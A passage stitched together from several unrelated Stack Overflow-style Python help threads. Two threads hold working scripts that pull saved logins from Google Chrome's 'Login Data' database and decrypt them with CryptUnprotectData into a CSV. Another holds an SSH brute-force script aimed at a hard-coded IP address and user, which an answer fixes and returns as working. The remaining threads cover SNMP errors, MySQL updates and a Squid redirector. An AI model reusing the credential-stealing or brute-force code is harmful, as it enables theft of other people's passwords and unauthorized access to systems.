I am running into an issue with parts of my code i have added my errors at the bottom. The issue is arising around the sqllite3.operationError part. i attempted removing it but when i do another error occurs for line 68 'def getpath():', i cant see why the errors are showing up any and all help is appreciated as always thanks. My code is generally for taking Login data out of my database and displaying in an csv file
import os
import sys
import sqlite3
try:
import win32crypt
except:
pass
import argparse
def args_parser():
parser = argparse.ArgumentParser(description="Retrieve Google Chrome Passwords")
parser.add_argument("--output", help="Output to csv file", action="store_true")
args = parser.parse_args()
if args.output:
csv(main())
else:
for data in main():
print (data)
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print('[!] Make sure Google Chrome is not running in the background')
sys.exit(0)
elif (e == 'no such table: logins'):
print('[!] Something wrong with the database name')
sys.exit(0)
elif (e == 'unable to open database file'):
print('[!] Something wrong with the database path')
sys.exit(0)
else:
print (e)
sys.exit(0)
return info_list
def getpath():
if os.name == "nt":
# This is the Windows Path
PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
if (os.path.isdir(PathName) == False):
print('[!] Chrome Doesn\'t exists')
sys.exit(0)
return PathName
def csv (info):
with open ('chromepass.csv', 'wb') as csv_file:
csv_file.write('origin_url,username,password \n' .encode('utf'))
for data in info:
csv_file.write(('%s, %s, %s \n' % (data['origin_url'], data['username'], data['password'])).encode('utf-8'))
print ("Data written to Chromepass.csv")
if __name__ == '__main__':
args_parser()
Errors
Traceback (most recent call last):
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 90, in <module>
args_parser()
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 19, in args_parser
for data in main():
File "C:/Users/Lewis Collins/Python Project/ChromeDB's/ChromeSessionParser.py", line 35, in main
for information in value:
TypeError: 'builtin_function_or_method' object is not iterable
Right way is:
except sqlite3.OperationalError as e:
And you main() should be like:
def main():
info_list = []
path = getpath()
try:
connection = sqlite3.connect(path + "Login Data")
with connection:
cursor = connection.cursor()
v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
value = v.fetchall
for information in value:
if os.name == 'nt':
password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
if password:
info_list.append({
'origin_url': information[0],
'username': information[1],
'password': str(password)
})
except sqlite3.OperationalError as e:
e = str(e)
if (e == 'database is locked'):
print '[!] Make sure Google Chrome is not running in the background'
sys.exit(0)
elif (e == 'no such table: logins'):
print '[!] Something wrong with the database name'
sys.exit(0)
elif (e == 'unable to open database file'):
print '[!] Something wrong with the database path'
sys.exit(0)
else:
print e
sys.exit(0)
return info_list
Related
Like to catch SNMPerror, if error occur, do something.
Python code to fetch Network OS type via snmphandler package. It works, but if the SNMP is not query the request, it will timeout. I would like to catch that and print "No SNMP Active"
from nelsnmp.snmp import SnmpHandler
from nelsnmp.errors import ArgumentError, SnmpError
def findnetOS(host):
dev = SnmpHandler(host=host, version='2c', community='public')
hostinfo = HostInfo(dev)
osversion = hostinfo.get_version()
try:
os = hostinfo.os
except ArgumentError as e:
if e.__str__() == "No valid SNMP version defined":
os = None
return os
else:
return os
ostype = findnetOS(host)
if ostype != None:
ostype = "cisco_"+ostype
print ostype
else:
print "No SNMP Active"
exit(-1)
Expected output should be print "No SNMP Active" when error occurs and print ostype when it runs thru without errors.
Error I get:
File "/usr/lib/python2.7/site-packages/nelsnmp/snmp.py", line 210, in _raise_error
raise ErrorType(error_data)
nelsnmp.errors.SnmpError: No SNMP response received before timeout
Thank you for the view
Do the same thing you're doing for the ArgumentError
from nelsnmp.snmp import SnmpHandler
from nelsnmp.errors import ArgumentError, SnmpError
def findnetOS(host):
try:
dev = SnmpHandler(host=host, version='2c', community='public')
hostinfo = HostInfo(dev)
osversion = hostinfo.get_version()
except SnmpError as e:
# handle your error here
pass
try:
os = hostinfo.os
except ArgumentError as e:
if e.__str__() == "No valid SNMP version defined":
os = None
return os
else:
return os
ostype = findnetOS(host)
if ostype != None:
ostype = "cisco_"+ostype
print ostype
else:
print "No SNMP Active"
exit(-1)
Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far.
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
The problem i have is that it understands that it should loop it, but all the output i get is:
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
Is there a way to fix this problem?
When i stop the program from running it gives me this Traceback:
Traceback (most recent call last):
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
response = ssh_connect(password)
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
ssh.connect(hostname = hostname, port = port, password= password, username= username)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
self._transport.auth_password(username, password)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
return self.auth_handler.wait_for_response(my_event)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
event.wait(0.1)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
signaled = self._cond.wait(timeout)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
gotit = waiter.acquire(True, timeout)
KeyboardInterrupt
Process finished with exit code 1
The traceback you posted (the one you get when interrupting the process) is actually irrelevant. The one that would have been usefull to let you debug the problem by yourself is lost due to your useless and actually harmful exception handler in your script's main loop, which you should either remove totally or at least rewrite to only catch expected exceptions - and then only wrap the ssh_connect() call, not the following code. IOW, you want to replace this:
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
With
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
except (your, list, of, expected, exceptions, here) as :
do_something_to_correctly_handle_this_exception_here(e)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
wrt/ your current problem, it's in the print calls above: you have:
print("some message" (variable, eventually_another_variable))
which is interpreted as:
msg = "some message" (variable, eventually_another_variable)
print(msg)
where the first line is interpreted as a function call applied to the "some message" string, hence the exception. What you want is string formatting, ie:
print("Password Incorrect: {} {}".format(username, password))
There are also quite a few things that are a bit wrong with your code, like opening files without closing them properly, mixing functions and top-level code instead of putting all operational code in functions on only have one single main function call at the top-level, writing passwords to a file and re-reading that file when you don't need it (technically at least), etc...
It's working. Try this:
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: {}, {}".format(username, password))
elif response == 2:
print("Connection Failed: {}".format(hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
In line 56, 60, 63 you ain't calling the variable properly. You forgot % though you can also use .format() as I have used in the code above
I've written a script to decrypt old passwords and accounts that I can't access because I can't access my old email (again because I can't remember the passwords haha).
import os
import sqlite3
import win32crypt
import sys
try:
path = sys.argv[1]
except IndexError:
for w in os.walk(os.getenv('USERPROFILE')):
if 'Chrome' in w[1]:
path = str(w[0]) + '/Chrome/User Data/Default/Login Data'
try:
print ('[+] Opening ' + path)
conn = sqlite3.connect(path)
cursor = conn.cursor()
except Exception as e:
print ('[-] %s' % (e))
sys.exit(1)
# Get the results
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception as e:
print ('[-] %s' % (e))
sys.exit(1)
data = cursor.fetchall()
Everything is fine up to here.
for result in data:
try:
password = win32crypt.CryptUnprotectData(result[2], None)
except Exception as e:
print('[-] %s' % (e))
pass
if password:
print("[+] URL: {} Username: {} Password: {}".format(result[0], result[1], password))
else: print("Unable to extract data")
I get this error: (-2146893813, 'CryptProtectData', 'Key not valid for use in specified state.')
Thanks to gilliduck for pointing out my typo!
I believe it's
CryptUnprotectData
not
CryptUnprotectEDData
So I've been at it for hours, and there is something really weird going on.
I am looping through code to check if a table value has changed. And if so run some code.
When i run the following program everything works totally fine! The 'lock state' goes from Open to Closed as it should be doing.
import time
import mysql.connector
host = '...'
database = '...'
user = '...'
password = '...'
conn = mysql.connector.connect(host=host, database=database, user=user, password=password)
conn.start_transaction(isolation_level='READ COMMITTED')
state = 'Open'
def get_web_lock_request():
try:
cursor = conn.cursor()
cursor.execute("SELECT * FROM `doorlock`.`state`")
state = ''.join(cursor.fetchone())
cursor.close()
return state
except mysql.connector.Error as e:
print 'get_lock_state ' + format(e)
return ''
def set_web_lock_request():
try:
cursor = conn.cursor()
cursor.execute("UPDATE `doorlock`.`state` SET `state`='" + state + "'")
conn.commit()
cursor.close()
except mysql.connector.Error as e:
print 'set_lock_state: ' + format(e)
while 1:
dbstate = get_web_lock_request()
set_web_lock_request()
if state == 'Open':
state = 'Closed'
else:
state = 'Open'
time.sleep(2)
print dbstate
But in my main code this 'listening for a change' is in a thread. And for some reason the UPDATE statement does not work! even with the conn.commit()
import mysql.connector
conn = mysql.connector.connect(host=host, database=database, user=user, password=password)
conn.start_transaction(isolation_level='READ COMMITTED')
def get_web_lock_request():
try:
cursor = conn.cursor()
cursor.execute("SELECT * FROM `doorlock`.`state`")
state = ''.join(cursor.fetchone())
cursor.close()
return state
except mysql.connector.Error as e:
print 'get_lock_state ' + format(e)
return ''
def set_web_lock_request(state):
try:
cursor = conn.cursor()
cursor.execute("UPDATE `doorlock`.`state` SET `state`='" + state + "'")
conn.commit()
cursor.close()
except mysql.connector.Error as e:
print 'set_lock_state: ' + format(e)
def web_request_listener():
global updating
try:
while 1:
print 'get_web_lock_request : ' + get_web_lock_request()
print 'current_state : ' + current_state()
if get_web_lock_request() != current_state() and not updating:
if get_web_lock_request() == 'Open':
open_lock()
print 'DoorLock: State is now open'
elif get_web_lock_request() == 'Closed':
close_lock()
print 'DoorLock: State is now closed'
time.sleep(1)
except KeyboardInterrupt:
exit()
if __name__=='__main__':
try:
button_listener_thread = threading.Thread(target=button_listener)
web_request_listener_thread = threading.Thread(target=web_request_listener)
except KeyboardInterrupt:
exit()
I could really use some help, I have literallyhave nothing else to try :)
Floris
I am running a simple python script to log the accessed url using squid url_rewriter_program.
However every time it runs, rewriter crashes with broken pipe error at sys.stdout.flush().
Please suggest a specific solution.
python code is:
import sys
import os
import io
line = sys.stdin.readline()
fo=open("/home/linux/Desktop/foo1.txt","a")
fo.write(line)
fo.close()
sys.stdout.write("\n")
sys.stdout.flush()
This is a squid redirector file, written on python, can you get, or compare with your script:
Redirector:
#!/usr/bin/env python
# -*- coding: iso-8859-1 -*-
#-----------------------------------------------------------------------------
# Name: redirector_master.py
# Purpose: SiSCont checker cuote
#
# Author: Ernesto Licea Martin
#
# Created: 2011/11/24
# RCS-ID: $Id: redirector_master.py $
# Copyright: (c) 2011
# Licence: GPL
#-----------------------------------------------------------------------------
import sys, string, libSiSCont
__name__= "redirector_master"
query="SELECT accounts_proxyquotatype.name, accounts_proxyaccount.proxy_quota, accounts_proxyaccount.proxy_quota_extra, accounts_proxyaccount.proxy_active, accounts_proxyaccounttype.name FROM accounts_proxyaccount INNER JOIN accounts_proxyaccounttype INNER JOIN accounts_proxyquotatype ON (accounts_proxyaccount.proxy_quota_type_id = accounts_proxyquotatype.id) AND (accounts_proxyaccount.proxy_account_type_id = accounts_proxyaccounttype.id) WHERE accounts_proxyaccount.proxy_username=%s"
class RedirMaster:
def __init__(self):
obj = libSiSCont.ParceConf()
obj.parcecfgfile()
self.__listModules = obj.getModList()
self.__redirDicc = obj.getRedirectURL()
self.__penalURL = obj.getPenalizedURL()
self.__confDicc = obj.getConfParam()
self.__dbDicc = obj.getDBDicc()
self.__proxyDicc = obj.getProxyCacheParam()
self.__dbParam = []
def getProxyTypes(self):
db=libSiSCont.connectDB(dbDicc=self.__dbDicc)
c=db.cursor()
c.execute("SELECT accounts_proxy")
def run(self):
modules=[]
for mod in self.__listModules:
try:
m=__import__(mod)
modules.append(m)
except Exception, e:
libSiSCont.reportLogs("%s.run" %__name__, 'Unable to load redirector module %s; the error was: %s' % (mod,str(e)))
if len(modules) == 0:
libSiSCont.reportLogs("%s.run" %__name__, 'No usable redirector module found; switching to trasparent behavour')
while 1:
try:
data_redir=raw_input()
data_redir=data_redir.split()
url,ip_host,user,method,urlgroup = data_redir[0:5]
ip=ip_host.split("/")[0]
host_name=ip_host.split("/")[1]
uri = url
mode=""
#Don't check cache access
if string.find(url,"cache_object") == 0:
sys.stdout.write("%s%s\n" %(mode,uri))
sys.stdout.flush()
continue
db=libSiSCont.connectDB(dbDicc=self.__dbDicc)
c=db.cursor()
c.execute(query,user)
cuote_type,cuote, ext_cuote, active, acc_type = c.fetchall()[0]
self.__dbParam=[cuote_type,int(cuote), int(ext_cuote), active, acc_type]
for module in modules:
try:
uri = module.redir(url = url, ip = ip, host_name = host_name, user = user, method = method, urlgroup = urlgroup, redirDicc = self.__redirDicc, penalURL = self.__penalURL, confDicc = self.__confDicc, proxyDicc = self.__proxyDicc, dbParam = self.__dbParam)
except Exception, e:
libSiSCont.reportLogs("%s.run" %__name__, 'Error while running module: %s -- The error was: %s' % (module,str(e)))
if uri != url:
mode = "301:"
break
sys.stdout.write("%s%s\n" %(mode,uri))
sys.stdout.flush()
except Exception, e:
if not string.find('%s' % e,'EOF') >= 0:
sys.stdout.write('%s\n' % uri)
sys.stdout.flush()
libSiSCont.reportLogs("%s.run" %__name__, '%s: data received from parent: %s' % (str(e),string.join(data_redir)))
else:
sys.exit()
obj=RedirMaster()
obj.run()
Helper:
#!/usr/bin/env python
import sys, syslog, libSiSCont, string,crypt
__name__ = "Helper"
query = "SELECT accounts_proxyaccount.proxy_username FROM accounts_proxyaccount WHERE accounts_proxyaccount.proxy_username=%s AND accounts_proxyaccount.proxy_password=%s"
class BasicAuth:
def __init__(self):
obj = libSiSCont.ParceConf()
obj.parcecfgfile()
self.__dbDicc = obj.getDBDicc()
def run(self):
while 1:
try:
user_pass = string.split(raw_input())
user = user_pass[0].strip("\n")
passwd = user_pass[1].strip("\n")
crypt_passwd = crypt.crypt(passwd,user)
db = libSiSCont.connectDB(self.__dbDicc)
c = db.cursor()
c.execute(query,(user,crypt_passwd))
if c.fetchone() == None:
libSiSCont.reportLogs('%s.run' %__name__,'User Authentication Fail, user = %s password= %s, Access Denied' %(user,passwd) )
sys.stdout.write("ERR\n")
sys.stdout.flush()
else:
libSiSCont.reportLogs('%s.run' %__name__, 'User Authentication Success, user = %s, Access Granted' %user)
sys.stdout.write("OK\n")
sys.stdout.flush()
except Exception, e:
if not string.find("%s" %e, "EOF") >= 0:
sys.stdout.write("ERR\n")
sys.stdout.flush()
libSiSCont.reportLogs('%s.run' %__name__, 'Authenticator error, user will navigate without authentication: %s' %str(e))
else:
sys.exit()
obj = BasicAuth()
obj.run()
I hope help you ;-)